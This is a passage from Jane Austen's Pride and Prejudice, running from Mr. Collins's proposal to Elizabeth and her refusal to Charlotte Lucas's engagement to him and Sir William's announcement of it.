Mrs. Bennet, had to wait for their carriage a quarter of +an hour after everybody else was gone, which gave them time to see how +heartily they were wished away by some of the family. Mrs. Hurst and her +sister scarcely opened their mouths, except to complain of fatigue, and +were evidently impatient to have the house to themselves. They repulsed +every attempt of Mrs. Bennet at conversation, and by so doing threw a +languor over the whole party, which was very little relieved by the +long speeches of Mr. Collins, who was complimenting Mr. Bingley and his +sisters on the elegance of their entertainment, and the hospitality and +politeness which had marked their behaviour to their guests. Darcy said +nothing at all. Mr. Bennet, in equal silence, was enjoying the scene. +Mr. Bingley and Jane were standing together, a little detached from the +rest, and talked only to each other. Elizabeth preserved as steady a +silence as either Mrs. Hurst or Miss Bingley; and even Lydia was too +much fatigued to utter more than the occasional exclamation of "Lord, +how tired I am!" accompanied by a violent yawn. + +When at length they arose to take leave, Mrs. Bennet was most pressingly +civil in her hope of seeing the whole family soon at Longbourn, and +addressed herself especially to Mr. Bingley, to assure him how happy he +would make them by eating a family dinner with them at any time, without +the ceremony of a formal invitation. Bingley was all grateful pleasure, +and he readily engaged for taking the earliest opportunity of waiting on +her, after his return from London, whither he was obliged to go the next +day for a short time. + +Mrs. Bennet was perfectly satisfied, and quitted the house under the +delightful persuasion that, allowing for the necessary preparations of +settlements, new carriages, and wedding clothes, she should undoubtedly +see her daughter settled at Netherfield in the course of three or four +months. Of having another daughter married to Mr. Collins, she thought +with equal certainty, and with considerable, though not equal, pleasure. +Elizabeth was the least dear to her of all her children; and though the +man and the match were quite good enough for _her_, the worth of each +was eclipsed by Mr. Bingley and Netherfield. + + + +Chapter 19 + + +The next day opened a new scene at Longbourn. Mr. Collins made his +declaration in form. Having resolved to do it without loss of time, as +his leave of absence extended only to the following Saturday, and having +no feelings of diffidence to make it distressing to himself even at +the moment, he set about it in a very orderly manner, with all the +observances, which he supposed a regular part of the business. On +finding Mrs. Bennet, Elizabeth, and one of the younger girls together, +soon after breakfast, he addressed the mother in these words: + +"May I hope, madam, for your interest with your fair daughter Elizabeth, +when I solicit for the honour of a private audience with her in the +course of this morning?" + +Before Elizabeth had time for anything but a blush of surprise, Mrs. +Bennet answered instantly, "Oh dear!--yes--certainly. I am sure Lizzy +will be very happy--I am sure she can have no objection. Come, Kitty, I +want you up stairs." And, gathering her work together, she was hastening +away, when Elizabeth called out: + +"Dear madam, do not go. I beg you will not go. Mr. Collins must excuse +me. He can have nothing to say to me that anybody need not hear. I am +going away myself." + +"No, no, nonsense, Lizzy. I desire you to stay where you are." And upon +Elizabeth's seeming really, with vexed and embarrassed looks, about to +escape, she added: "Lizzy, I _insist_ upon your staying and hearing Mr. +Collins." + +Elizabeth would not oppose such an injunction--and a moment's +consideration making her also sensible that it would be wisest to get it +over as soon and as quietly as possible, she sat down again and tried to +conceal, by incessant employment the feelings which were divided between +distress and diversion. Mrs. Bennet and Kitty walked off, and as soon as +they were gone, Mr. Collins began. + +"Believe me, my dear Miss Elizabeth, that your modesty, so far from +doing you any disservice, rather adds to your other perfections. You +would have been less amiable in my eyes had there _not_ been this little +unwillingness; but allow me to assure you, that I have your respected +mother's permission for this address. You can hardly doubt the +purport of my discourse, however your natural delicacy may lead you to +dissemble; my attentions have been too marked to be mistaken. Almost as +soon as I entered the house, I singled you out as the companion of +my future life. But before I am run away with by my feelings on this +subject, perhaps it would be advisable for me to state my reasons for +marrying--and, moreover, for coming into Hertfordshire with the design +of selecting a wife, as I certainly did." + +The idea of Mr. Collins, with all his solemn composure, being run away +with by his feelings, made Elizabeth so near laughing, that she could +not use the short pause he allowed in any attempt to stop him further, +and he continued: + +"My reasons for marrying are, first, that I think it a right thing for +every clergyman in easy circumstances (like myself) to set the example +of matrimony in his parish; secondly, that I am convinced that it will +add very greatly to my happiness; and thirdly--which perhaps I ought +to have mentioned earlier, that it is the particular advice and +recommendation of the very noble lady whom I have the honour of calling +patroness. Twice has she condescended to give me her opinion (unasked +too!) on this subject; and it was but the very Saturday night before I +left Hunsford--between our pools at quadrille, while Mrs. Jenkinson was +arranging Miss de Bourgh's footstool, that she said, 'Mr. Collins, you +must marry. A clergyman like you must marry. Choose properly, choose +a gentlewoman for _my_ sake; and for your _own_, let her be an active, +useful sort of person, not brought up high, but able to make a small +income go a good way. This is my advice. Find such a woman as soon as +you can, bring her to Hunsford, and I will visit her.' Allow me, by the +way, to observe, my fair cousin, that I do not reckon the notice +and kindness of Lady Catherine de Bourgh as among the least of the +advantages in my power to offer. You will find her manners beyond +anything I can describe; and your wit and vivacity, I think, must be +acceptable to her, especially when tempered with the silence and +respect which her rank will inevitably excite. Thus much for my general +intention in favour of matrimony; it remains to be told why my views +were directed towards Longbourn instead of my own neighbourhood, where I +can assure you there are many amiable young women. But the fact is, that +being, as I am, to inherit this estate after the death of your honoured +father (who, however, may live many years longer), I could not satisfy +myself without resolving to choose a wife from among his daughters, that +the loss to them might be as little as possible, when the melancholy +event takes place--which, however, as I have already said, may not +be for several years. This has been my motive, my fair cousin, and +I flatter myself it will not sink me in your esteem. And now nothing +remains for me but to assure you in the most animated language of the +violence of my affection. To fortune I am perfectly indifferent, and +shall make no demand of that nature on your father, since I am well +aware that it could not be complied with; and that one thousand pounds +in the four per cents, which will not be yours till after your mother's +decease, is all that you may ever be entitled to. On that head, +therefore, I shall be uniformly silent; and you may assure yourself that +no ungenerous reproach shall ever pass my lips when we are married." + +It was absolutely necessary to interrupt him now. + +"You are too hasty, sir," she cried. "You forget that I have made no +answer. Let me do it without further loss of time. Accept my thanks for +the compliment you are paying me. I am very sensible of the honour of +your proposals, but it is impossible for me to do otherwise than to +decline them." + +"I am not now to learn," replied Mr. Collins, with a formal wave of the +hand, "that it is usual with young ladies to reject the addresses of the +man whom they secretly mean to accept, when he first applies for their +favour; and that sometimes the refusal is repeated a second, or even a +third time. I am therefore by no means discouraged by what you have just +said, and shall hope to lead you to the altar ere long." + +"Upon my word, sir," cried Elizabeth, "your hope is a rather +extraordinary one after my declaration. I do assure you that I am not +one of those young ladies (if such young ladies there are) who are so +daring as to risk their happiness on the chance of being asked a second +time. I am perfectly serious in my refusal. You could not make _me_ +happy, and I am convinced that I am the last woman in the world who +could make you so. Nay, were your friend Lady Catherine to know me, I +am persuaded she would find me in every respect ill qualified for the +situation." + +"Were it certain that Lady Catherine would think so," said Mr. Collins +very gravely--"but I cannot imagine that her ladyship would at all +disapprove of you. And you may be certain when I have the honour of +seeing her again, I shall speak in the very highest terms of your +modesty, economy, and other amiable qualification." + +"Indeed, Mr. Collins, all praise of me will be unnecessary. You +must give me leave to judge for myself, and pay me the compliment +of believing what I say. I wish you very happy and very rich, and by +refusing your hand, do all in my power to prevent your being otherwise. +In making me the offer, you must have satisfied the delicacy of your +feelings with regard to my family, and may take possession of Longbourn +estate whenever it falls, without any self-reproach. This matter may +be considered, therefore, as finally settled." And rising as she +thus spoke, she would have quitted the room, had Mr. Collins not thus +addressed her: + +"When I do myself the honour of speaking to you next on the subject, I +shall hope to receive a more favourable answer than you have now given +me; though I am far from accusing you of cruelty at present, because I +know it to be the established custom of your sex to reject a man on +the first application, and perhaps you have even now said as much to +encourage my suit as would be consistent with the true delicacy of the +female character." + +"Really, Mr. Collins," cried Elizabeth with some warmth, "you puzzle me +exceedingly. If what I have hitherto said can appear to you in the form +of encouragement, I know not how to express my refusal in such a way as +to convince you of its being one." + +"You must give me leave to flatter myself, my dear cousin, that your +refusal of my addresses is merely words of course. My reasons for +believing it are briefly these: It does not appear to me that my hand is +unworthy of your acceptance, or that the establishment I can offer would +be any other than highly desirable. My situation in life, my connections +with the family of de Bourgh, and my relationship to your own, are +circumstances highly in my favour; and you should take it into further +consideration, that in spite of your manifold attractions, it is by no +means certain that another offer of marriage may ever be made you. Your +portion is unhappily so small that it will in all likelihood undo +the effects of your loveliness and amiable qualifications. As I must +therefore conclude that you are not serious in your rejection of me, +I shall choose to attribute it to your wish of increasing my love by +suspense, according to the usual practice of elegant females." + +"I do assure you, sir, that I have no pretensions whatever to that kind +of elegance which consists in tormenting a respectable man. I would +rather be paid the compliment of being believed sincere. I thank you +again and again for the honour you have done me in your proposals, but +to accept them is absolutely impossible. My feelings in every respect +forbid it. Can I speak plainer? Do not consider me now as an elegant +female, intending to plague you, but as a rational creature, speaking +the truth from her heart." + +"You are uniformly charming!" cried he, with an air of awkward +gallantry; "and I am persuaded that when sanctioned by the express +authority of both your excellent parents, my proposals will not fail of +being acceptable." + +To such perseverance in wilful self-deception Elizabeth would make +no reply, and immediately and in silence withdrew; determined, if +he persisted in considering her repeated refusals as flattering +encouragement, to apply to her father, whose negative might be uttered +in such a manner as to be decisive, and whose behaviour at least could +not be mistaken for the affectation and coquetry of an elegant female. + + + +Chapter 20 + + +Mr. Collins was not left long to the silent contemplation of his +successful love; for Mrs. Bennet, having dawdled about in the vestibule +to watch for the end of the conference, no sooner saw Elizabeth open +the door and with quick step pass her towards the staircase, than she +entered the breakfast-room, and congratulated both him and herself in +warm terms on the happy prospect of their nearer connection. Mr. Collins +received and returned these felicitations with equal pleasure, and then +proceeded to relate the particulars of their interview, with the result +of which he trusted he had every reason to be satisfied, since the +refusal which his cousin had steadfastly given him would naturally flow +from her bashful modesty and the genuine delicacy of her character. + +This information, however, startled Mrs. Bennet; she would have been +glad to be equally satisfied that her daughter had meant to encourage +him by protesting against his proposals, but she dared not believe it, +and could not help saying so. + +"But, depend upon it, Mr. Collins," she added, "that Lizzy shall be +brought to reason. I will speak to her about it directly. She is a very +headstrong, foolish girl, and does not know her own interest but I will +_make_ her know it." + +"Pardon me for interrupting you, madam," cried Mr. Collins; "but if +she is really headstrong and foolish, I know not whether she would +altogether be a very desirable wife to a man in my situation, who +naturally looks for happiness in the marriage state. If therefore she +actually persists in rejecting my suit, perhaps it were better not +to force her into accepting me, because if liable to such defects of +temper, she could not contribute much to my felicity." + +"Sir, you quite misunderstand me," said Mrs. Bennet, alarmed. "Lizzy is +only headstrong in such matters as these. In everything else she is as +good-natured a girl as ever lived. I will go directly to Mr. Bennet, and +we shall very soon settle it with her, I am sure." + +She would not give him time to reply, but hurrying instantly to her +husband, called out as she entered the library, "Oh! Mr. Bennet, you +are wanted immediately; we are all in an uproar. You must come and make +Lizzy marry Mr. Collins, for she vows she will not have him, and if you +do not make haste he will change his mind and not have _her_." + +Mr. Bennet raised his eyes from his book as she entered, and fixed them +on her face with a calm unconcern which was not in the least altered by +her communication. + +"I have not the pleasure of understanding you," said he, when she had +finished her speech. "Of what are you talking?" + +"Of Mr. Collins and Lizzy. Lizzy declares she will not have Mr. Collins, +and Mr. Collins begins to say that he will not have Lizzy." + +"And what am I to do on the occasion? It seems an hopeless business." + +"Speak to Lizzy about it yourself. Tell her that you insist upon her +marrying him." + +"Let her be called down. She shall hear my opinion." + +Mrs. Bennet rang the bell, and Miss Elizabeth was summoned to the +library. + +"Come here, child," cried her father as she appeared. "I have sent for +you on an affair of importance. I understand that Mr. Collins has made +you an offer of marriage. Is it true?" Elizabeth replied that it was. +"Very well--and this offer of marriage you have refused?" + +"I have, sir." + +"Very well. We now come to the point. Your mother insists upon your +accepting it. Is it not so, Mrs. Bennet?" + +"Yes, or I will never see her again." + +"An unhappy alternative is before you, Elizabeth. From this day you must +be a stranger to one of your parents. Your mother will never see you +again if you do _not_ marry Mr. Collins, and I will never see you again +if you _do_." + +Elizabeth could not but smile at such a conclusion of such a beginning, +but Mrs. Bennet, who had persuaded herself that her husband regarded the +affair as she wished, was excessively disappointed. + +"What do you mean, Mr. Bennet, in talking this way? You promised me to +_insist_ upon her marrying him." + +"My dear," replied her husband, "I have two small favours to request. +First, that you will allow me the free use of my understanding on the +present occasion; and secondly, of my room. I shall be glad to have the +library to myself as soon as may be." + +Not yet, however, in spite of her disappointment in her husband, did +Mrs. Bennet give up the point. She talked to Elizabeth again and again; +coaxed and threatened her by turns. She endeavoured to secure Jane +in her interest; but Jane, with all possible mildness, declined +interfering; and Elizabeth, sometimes with real earnestness, and +sometimes with playful gaiety, replied to her attacks. Though her manner +varied, however, her determination never did. + +Mr. Collins, meanwhile, was meditating in solitude on what had passed. +He thought too well of himself to comprehend on what motives his cousin +could refuse him; and though his pride was hurt, he suffered in no other +way. His regard for her was quite imaginary; and the possibility of her +deserving her mother's reproach prevented his feeling any regret. + +While the family were in this confusion, Charlotte Lucas came to spend +the day with them. She was met in the vestibule by Lydia, who, flying to +her, cried in a half whisper, "I am glad you are come, for there is such +fun here! What do you think has happened this morning? Mr. Collins has +made an offer to Lizzy, and she will not have him." + +Charlotte hardly had time to answer, before they were joined by Kitty, +who came to tell the same news; and no sooner had they entered the +breakfast-room, where Mrs. Bennet was alone, than she likewise began on +the subject, calling on Miss Lucas for her compassion, and entreating +her to persuade her friend Lizzy to comply with the wishes of all her +family. "Pray do, my dear Miss Lucas," she added in a melancholy tone, +"for nobody is on my side, nobody takes part with me. I am cruelly used, +nobody feels for my poor nerves." + +Charlotte's reply was spared by the entrance of Jane and Elizabeth. + +"Aye, there she comes," continued Mrs. Bennet, "looking as unconcerned +as may be, and caring no more for us than if we were at York, provided +she can have her own way. But I tell you, Miss Lizzy--if you take it +into your head to go on refusing every offer of marriage in this way, +you will never get a husband at all--and I am sure I do not know who is +to maintain you when your father is dead. I shall not be able to keep +you--and so I warn you. I have done with you from this very day. I told +you in the library, you know, that I should never speak to you again, +and you will find me as good as my word. I have no pleasure in talking +to undutiful children. Not that I have much pleasure, indeed, in talking +to anybody. People who suffer as I do from nervous complaints can have +no great inclination for talking. Nobody can tell what I suffer! But it +is always so. Those who do not complain are never pitied." + +Her daughters listened in silence to this effusion, sensible that +any attempt to reason with her or soothe her would only increase the +irritation. She talked on, therefore, without interruption from any of +them, till they were joined by Mr. Collins, who entered the room with +an air more stately than usual, and on perceiving whom, she said to +the girls, "Now, I do insist upon it, that you, all of you, hold +your tongues, and let me and Mr. Collins have a little conversation +together." + +Elizabeth passed quietly out of the room, Jane and Kitty followed, but +Lydia stood her ground, determined to hear all she could; and Charlotte, +detained first by the civility of Mr. Collins, whose inquiries after +herself and all her family were very minute, and then by a little +curiosity, satisfied herself with walking to the window and pretending +not to hear. In a doleful voice Mrs. Bennet began the projected +conversation: "Oh! Mr. Collins!" + +"My dear madam," replied he, "let us be for ever silent on this point. +Far be it from me," he presently continued, in a voice that marked his +displeasure, "to resent the behaviour of your daughter. Resignation +to inevitable evils is the duty of us all; the peculiar duty of a +young man who has been so fortunate as I have been in early preferment; +and I trust I am resigned. Perhaps not the less so from feeling a doubt +of my positive happiness had my fair cousin honoured me with her hand; +for I have often observed that resignation is never so perfect as +when the blessing denied begins to lose somewhat of its value in our +estimation. You will not, I hope, consider me as showing any disrespect +to your family, my dear madam, by thus withdrawing my pretensions to +your daughter's favour, without having paid yourself and Mr. Bennet the +compliment of requesting you to interpose your authority in my +behalf. My conduct may, I fear, be objectionable in having accepted my +dismission from your daughter's lips instead of your own. But we are all +liable to error. I have certainly meant well through the whole affair. +My object has been to secure an amiable companion for myself, with due +consideration for the advantage of all your family, and if my _manner_ +has been at all reprehensible, I here beg leave to apologise." + + + +Chapter 21 + + +The discussion of Mr. Collins's offer was now nearly at an end, and +Elizabeth had only to suffer from the uncomfortable feelings necessarily +attending it, and occasionally from some peevish allusions of her +mother. As for the gentleman himself, _his_ feelings were chiefly +expressed, not by embarrassment or dejection, or by trying to avoid her, +but by stiffness of manner and resentful silence. He scarcely ever spoke +to her, and the assiduous attentions which he had been so sensible of +himself were transferred for the rest of the day to Miss Lucas, whose +civility in listening to him was a seasonable relief to them all, and +especially to her friend. + +The morrow produced no abatement of Mrs. Bennet's ill-humour or ill +health. Mr. Collins was also in the same state of angry pride. Elizabeth +had hoped that his resentment might shorten his visit, but his plan did +not appear in the least affected by it. He was always to have gone on +Saturday, and to Saturday he meant to stay. + +After breakfast, the girls walked to Meryton to inquire if Mr. Wickham +were returned, and to lament over his absence from the Netherfield ball. +He joined them on their entering the town, and attended them to their +aunt's where his regret and vexation, and the concern of everybody, was +well talked over. To Elizabeth, however, he voluntarily acknowledged +that the necessity of his absence _had_ been self-imposed. + +"I found," said he, "as the time drew near that I had better not meet +Mr. Darcy; that to be in the same room, the same party with him for so +many hours together, might be more than I could bear, and that scenes +might arise unpleasant to more than myself." + +She highly approved his forbearance, and they had leisure for a full +discussion of it, and for all the commendation which they civilly +bestowed on each other, as Wickham and another officer walked back with +them to Longbourn, and during the walk he particularly attended to +her. His accompanying them was a double advantage; she felt all the +compliment it offered to herself, and it was most acceptable as an +occasion of introducing him to her father and mother. + +Soon after their return, a letter was delivered to Miss Bennet; it came +from Netherfield. The envelope contained a sheet of elegant, little, +hot-pressed paper, well covered with a lady's fair, flowing hand; and +Elizabeth saw her sister's countenance change as she read it, and saw +her dwelling intently on some particular passages. Jane recollected +herself soon, and putting the letter away, tried to join with her usual +cheerfulness in the general conversation; but Elizabeth felt an anxiety +on the subject which drew off her attention even from Wickham; and no +sooner had he and his companion taken leave, than a glance from Jane +invited her to follow her up stairs. When they had gained their own room, +Jane, taking out the letter, said: + +"This is from Caroline Bingley; what it contains has surprised me a good +deal. The whole party have left Netherfield by this time, and are on +their way to town--and without any intention of coming back again. You +shall hear what she says." + +She then read the first sentence aloud, which comprised the information +of their having just resolved to follow their brother to town directly, +and of their meaning to dine in Grosvenor Street, where Mr. Hurst had a +house. The next was in these words: "I do not pretend to regret anything +I shall leave in Hertfordshire, except your society, my dearest friend; +but we will hope, at some future period, to enjoy many returns of that +delightful intercourse we have known, and in the meanwhile may +lessen the pain of separation by a very frequent and most unreserved +correspondence. I depend on you for that." To these highflown +expressions Elizabeth listened with all the insensibility of distrust; +and though the suddenness of their removal surprised her, she saw +nothing in it really to lament; it was not to be supposed that their +absence from Netherfield would prevent Mr. Bingley's being there; and as +to the loss of their society, she was persuaded that Jane must cease to +regard it, in the enjoyment of his. + +"It is unlucky," said she, after a short pause, "that you should not be +able to see your friends before they leave the country. But may we not +hope that the period of future happiness to which Miss Bingley looks +forward may arrive earlier than she is aware, and that the delightful +intercourse you have known as friends will be renewed with yet greater +satisfaction as sisters? Mr. Bingley will not be detained in London by +them." + +"Caroline decidedly says that none of the party will return into +Hertfordshire this winter. I will read it to you:" + +"When my brother left us yesterday, he imagined that the business which +took him to London might be concluded in three or four days; but as we +are certain it cannot be so, and at the same time convinced that when +Charles gets to town he will be in no hurry to leave it again, we have +determined on following him thither, that he may not be obliged to spend +his vacant hours in a comfortless hotel. Many of my acquaintances are +already there for the winter; I wish that I could hear that you, my +dearest friend, had any intention of making one of the crowd--but of +that I despair. I sincerely hope your Christmas in Hertfordshire may +abound in the gaieties which that season generally brings, and that your +beaux will be so numerous as to prevent your feeling the loss of the +three of whom we shall deprive you." + +"It is evident by this," added Jane, "that he comes back no more this +winter." + +"It is only evident that Miss Bingley does not mean that he _should_." + +"Why will you think so? It must be his own doing. He is his own +master. But you do not know _all_. I _will_ read you the passage which +particularly hurts me. I will have no reserves from _you_." + +"Mr. Darcy is impatient to see his sister; and, to confess the truth, +_we_ are scarcely less eager to meet her again. I really do not think +Georgiana Darcy has her equal for beauty, elegance, and accomplishments; +and the affection she inspires in Louisa and myself is heightened into +something still more interesting, from the hope we dare entertain of +her being hereafter our sister. I do not know whether I ever before +mentioned to you my feelings on this subject; but I will not leave the +country without confiding them, and I trust you will not esteem them +unreasonable. My brother admires her greatly already; he will have +frequent opportunity now of seeing her on the most intimate footing; +her relations all wish the connection as much as his own; and a sister's +partiality is not misleading me, I think, when I call Charles most +capable of engaging any woman's heart. With all these circumstances to +favour an attachment, and nothing to prevent it, am I wrong, my dearest +Jane, in indulging the hope of an event which will secure the happiness +of so many?" + +"What do you think of _this_ sentence, my dear Lizzy?" said Jane as she +finished it. "Is it not clear enough? Does it not expressly declare that +Caroline neither expects nor wishes me to be her sister; that she is +perfectly convinced of her brother's indifference; and that if she +suspects the nature of my feelings for him, she means (most kindly!) to +put me on my guard? Can there be any other opinion on the subject?" + +"Yes, there can; for mine is totally different. Will you hear it?" + +"Most willingly." + +"You shall have it in a few words. Miss Bingley sees that her brother is +in love with you, and wants him to marry Miss Darcy. She follows him +to town in hope of keeping him there, and tries to persuade you that he +does not care about you." + +Jane shook her head. + +"Indeed, Jane, you ought to believe me. No one who has ever seen you +together can doubt his affection. Miss Bingley, I am sure, cannot. She +is not such a simpleton. Could she have seen half as much love in Mr. +Darcy for herself, she would have ordered her wedding clothes. But the +case is this: We are not rich enough or grand enough for them; and she +is the more anxious to get Miss Darcy for her brother, from the notion +that when there has been _one_ intermarriage, she may have less trouble +in achieving a second; in which there is certainly some ingenuity, and +I dare say it would succeed, if Miss de Bourgh were out of the way. But, +my dearest Jane, you cannot seriously imagine that because Miss Bingley +tells you her brother greatly admires Miss Darcy, he is in the smallest +degree less sensible of _your_ merit than when he took leave of you on +Tuesday, or that it will be in her power to persuade him that, instead +of being in love with you, he is very much in love with her friend." + +"If we thought alike of Miss Bingley," replied Jane, "your +representation of all this might make me quite easy. But I know the +foundation is unjust. Caroline is incapable of wilfully deceiving +anyone; and all that I can hope in this case is that she is deceiving +herself." + +"That is right. You could not have started a more happy idea, since you +will not take comfort in mine. Believe her to be deceived, by all means. +You have now done your duty by her, and must fret no longer." + +"But, my dear sister, can I be happy, even supposing the best, in +accepting a man whose sisters and friends are all wishing him to marry +elsewhere?" + +"You must decide for yourself," said Elizabeth; "and if, upon mature +deliberation, you find that the misery of disobliging his two sisters is +more than equivalent to the happiness of being his wife, I advise you by +all means to refuse him." + +"How can you talk so?" said Jane, faintly smiling. "You must know that +though I should be exceedingly grieved at their disapprobation, I could +not hesitate." + +"I did not think you would; and that being the case, I cannot consider +your situation with much compassion." + +"But if he returns no more this winter, my choice will never be +required. A thousand things may arise in six months!" + +The idea of his returning no more Elizabeth treated with the utmost +contempt. It appeared to her merely the suggestion of Caroline's +interested wishes, and she could not for a moment suppose that those +wishes, however openly or artfully spoken, could influence a young man +so totally independent of everyone. + +She represented to her sister as forcibly as possible what she felt +on the subject, and had soon the pleasure of seeing its happy effect. +Jane's temper was not desponding, and she was gradually led to hope, +though the diffidence of affection sometimes overcame the hope, that +Bingley would return to Netherfield and answer every wish of her heart. + +They agreed that Mrs. Bennet should only hear of the departure of the +family, without being alarmed on the score of the gentleman's conduct; +but even this partial communication gave her a great deal of concern, +and she bewailed it as exceedingly unlucky that the ladies should happen +to go away just as they were all getting so intimate together. After +lamenting it, however, at some length, she had the consolation that Mr. +Bingley would be soon down again and soon dining at Longbourn, and the +conclusion of all was the comfortable declaration, that though he had +been invited only to a family dinner, she would take care to have two +full courses. + + + +Chapter 22 + + +The Bennets were engaged to dine with the Lucases and again during the +chief of the day was Miss Lucas so kind as to listen to Mr. Collins. +Elizabeth took an opportunity of thanking her. "It keeps him in good +humour," said she, "and I am more obliged to you than I can express." +Charlotte assured her friend of her satisfaction in being useful, and +that it amply repaid her for the little sacrifice of her time. This was +very amiable, but Charlotte's kindness extended farther than Elizabeth +had any conception of; its object was nothing else than to secure her +from any return of Mr. Collins's addresses, by engaging them towards +herself. Such was Miss Lucas's scheme; and appearances were so +favourable, that when they parted at night, she would have felt almost +secure of success if he had not been to leave Hertfordshire so very +soon. But here she did injustice to the fire and independence of his +character, for it led him to escape out of Longbourn House the next +morning with admirable slyness, and hasten to Lucas Lodge to throw +himself at her feet. He was anxious to avoid the notice of his cousins, +from a conviction that if they saw him depart, they could not fail to +conjecture his design, and he was not willing to have the attempt known +till its success might be known likewise; for though feeling almost +secure, and with reason, for Charlotte had been tolerably encouraging, +he was comparatively diffident since the adventure of Wednesday. +His reception, however, was of the most flattering kind. Miss Lucas +perceived him from an upper window as he walked towards the house, and +instantly set out to meet him accidentally in the lane. But little had +she dared to hope that so much love and eloquence awaited her there. + +In as short a time as Mr. Collins's long speeches would allow, +everything was settled between them to the satisfaction of both; and as +they entered the house he earnestly entreated her to name the day that +was to make him the happiest of men; and though such a solicitation must +be waived for the present, the lady felt no inclination to trifle with +his happiness. The stupidity with which he was favoured by nature must +guard his courtship from any charm that could make a woman wish for its +continuance; and Miss Lucas, who accepted him solely from the pure +and disinterested desire of an establishment, cared not how soon that +establishment were gained. + +Sir William and Lady Lucas were speedily applied to for their consent; +and it was bestowed with a most joyful alacrity. Mr. Collins's present +circumstances made it a most eligible match for their daughter, to whom +they could give little fortune; and his prospects of future wealth were +exceedingly fair. Lady Lucas began directly to calculate, with more +interest than the matter had ever excited before, how many years longer +Mr. Bennet was likely to live; and Sir William gave it as his decided +opinion, that whenever Mr. Collins should be in possession of the +Longbourn estate, it would be highly expedient that both he and his wife +should make their appearance at St. James's. The whole family, in short, +were properly overjoyed on the occasion. The younger girls formed hopes +of _coming out_ a year or two sooner than they might otherwise have +done; and the boys were relieved from their apprehension of Charlotte's +dying an old maid. Charlotte herself was tolerably composed. She had +gained her point, and had time to consider of it. Her reflections were +in general satisfactory. Mr. Collins, to be sure, was neither sensible +nor agreeable; his society was irksome, and his attachment to her must +be imaginary. But still he would be her husband. Without thinking highly +either of men or matrimony, marriage had always been her object; it was +the only provision for well-educated young women of small fortune, +and however uncertain of giving happiness, must be their pleasantest +preservative from want. This preservative she had now obtained; and at +the age of twenty-seven, without having ever been handsome, she felt all +the good luck of it. The least agreeable circumstance in the business +was the surprise it must occasion to Elizabeth Bennet, whose friendship +she valued beyond that of any other person. Elizabeth would wonder, +and probably would blame her; and though her resolution was not to be +shaken, her feelings must be hurt by such a disapprobation. She resolved +to give her the information herself, and therefore charged Mr. Collins, +when he returned to Longbourn to dinner, to drop no hint of what had +passed before any of the family. A promise of secrecy was of course very +dutifully given, but it could not be kept without difficulty; for the +curiosity excited by his long absence burst forth in such very direct +questions on his return as required some ingenuity to evade, and he was +at the same time exercising great self-denial, for he was longing to +publish his prosperous love. + +As he was to begin his journey too early on the morrow to see any of the +family, the ceremony of leave-taking was performed when the ladies moved +for the night; and Mrs. Bennet, with great politeness and cordiality, +said how happy they should be to see him at Longbourn again, whenever +his engagements might allow him to visit them. + +"My dear madam," he replied, "this invitation is particularly +gratifying, because it is what I have been hoping to receive; and +you may be very certain that I shall avail myself of it as soon as +possible." + +They were all astonished; and Mr. Bennet, who could by no means wish for +so speedy a return, immediately said: + +"But is there not danger of Lady Catherine's disapprobation here, my +good sir? You had better neglect your relations than run the risk of +offending your patroness." + +"My dear sir," replied Mr. Collins, "I am particularly obliged to you +for this friendly caution, and you may depend upon my not taking so +material a step without her ladyship's concurrence." + +"You cannot be too much upon your guard. Risk anything rather than her +displeasure; and if you find it likely to be raised by your coming to us +again, which I should think exceedingly probable, stay quietly at home, +and be satisfied that _we_ shall take no offence." + +"Believe me, my dear sir, my gratitude is warmly excited by such +affectionate attention; and depend upon it, you will speedily receive +from me a letter of thanks for this, and for every other mark of your +regard during my stay in Hertfordshire. As for my fair cousins, though +my absence may not be long enough to render it necessary, I shall now +take the liberty of wishing them health and happiness, not excepting my +cousin Elizabeth." + +With proper civilities the ladies then withdrew; all of them equally +surprised that he meditated a quick return. Mrs. Bennet wished to +understand by it that he thought of paying his addresses to one of her +younger girls, and Mary might have been prevailed on to accept him. +She rated his abilities much higher than any of the others; there was +a solidity in his reflections which often struck her, and though by no +means so clever as herself, she thought that if encouraged to read +and improve himself by such an example as hers, he might become a very +agreeable companion. But on the following morning, every hope of this +kind was done away. Miss Lucas called soon after breakfast, and in a +private conference with Elizabeth related the event of the day before. + +The possibility of Mr. Collins's fancying himself in love with her +friend had once occurred to Elizabeth within the last day or two; but +that Charlotte could encourage him seemed almost as far from +possibility as she could encourage him herself, and her astonishment was +consequently so great as to overcome at first the bounds of decorum, and +she could not help crying out: + +"Engaged to Mr. Collins! My dear Charlotte--impossible!" + +The steady countenance which Miss Lucas had commanded in telling her +story, gave way to a momentary confusion here on receiving so direct a +reproach; though, as it was no more than she expected, she soon regained +her composure, and calmly replied: + +"Why should you be surprised, my dear Eliza? Do you think it incredible +that Mr. Collins should be able to procure any woman's good opinion, +because he was not so happy as to succeed with you?" + +But Elizabeth had now recollected herself, and making a strong effort +for it, was able to assure with tolerable firmness that the prospect of +their relationship was highly grateful to her, and that she wished her +all imaginable happiness. + +"I see what you are feeling," replied Charlotte. "You must be surprised, +very much surprised--so lately as Mr. Collins was wishing to marry +you. But when you have had time to think it over, I hope you will be +satisfied with what I have done. I am not romantic, you know; I never +was. I ask only a comfortable home; and considering Mr. Collins's +character, connection, and situation in life, I am convinced that my +chance of happiness with him is as fair as most people can boast on +entering the marriage state." + +Elizabeth quietly answered "Undoubtedly;" and after an awkward pause, +they returned to the rest of the family. Charlotte did not stay much +longer, and Elizabeth was then left to reflect on what she had heard. +It was a long time before she became at all reconciled to the idea of so +unsuitable a match. The strangeness of Mr. Collins's making two offers +of marriage within three days was nothing in comparison of his being now +accepted. She had always felt that Charlotte's opinion of matrimony was +not exactly like her own, but she had not supposed it to be possible +that, when called into action, she would have sacrificed every better +feeling to worldly advantage. Charlotte the wife of Mr. Collins was a +most humiliating picture! And to the pang of a friend disgracing herself +and sunk in her esteem, was added the distressing conviction that it +was impossible for that friend to be tolerably happy in the lot she had +chosen. + + + +Chapter 23 + + +Elizabeth was sitting with her mother and sisters, reflecting on what +she had heard, and doubting whether she was authorised to mention +it, when Sir William Lucas himself appeared, sent by his daughter, to +announce her engagement to the family. With many compliments to them, +and much self-gratulation on the prospect of a connection between the +houses, he unfolded the matter--to an audience not merely wondering, but +incredulous; for Mrs. Bennet, with more perseverance than politeness, +protested he must be entirely mistaken; and Lydia, always unguarded and +often uncivil, boisterously exclaimed: + +"Good Lord! Sir William, how can you tell such a story? Do not you know +that Mr. Collins wants to marry Lizzy?" + +Nothing less than the complaisance of a courtier could have borne +without anger such treatment; but Sir William's good breeding carried +him through it all; and though he begged leave to be positive as to the +truth of his information, he listened to all their impertinence with the +most forbearing courtesy. 